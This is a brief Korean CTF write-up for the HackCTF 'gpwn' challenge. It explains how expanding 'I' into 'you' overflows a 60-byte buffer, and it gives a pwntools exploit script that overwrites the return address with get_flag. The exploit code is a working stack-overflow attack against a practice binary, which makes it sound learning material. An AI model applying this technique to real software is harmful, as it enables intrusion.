# pseudo code
# process
I문자를 입력하면 you로 replace해준다.
변수 s에 복사하고 출력해주므로 s를 overflow시키면 되는데, s의 크기는 0x3c = 60바이트이다.
I 20개를 줘서 s를 덮고 A 4개로 SFP를 덮고 get_flag를 줘서 return address를 덮는다.
따라서
‘I’*20 + ‘A’*4 + p32(get_flag)
로 payload를 준다.
# exploit code
#!/usr/bin/python
from pwn import *
#p = process("./gpwn")
p = remote("ctf.j0n9hyun.xyz", 3011)
elf = ELF("./gpwn")
get_flag = elf.symbols['get_flag']
p.sendline('I'*20 + 'A'*4 + p32(get_flag))
p.interactive()
# exploit
[HackCTF] 1996 (0) | 2020.01.08 |
---|---|
[HackCTF] RTL_Core (0) | 2020.01.08 |
[HackCTF] poet (0) | 2020.01.08 |
[HackCTF] RTL_World (0) | 2020.01.02 |
[HackCTF] BOF_PIE (0) | 2020.01.01 |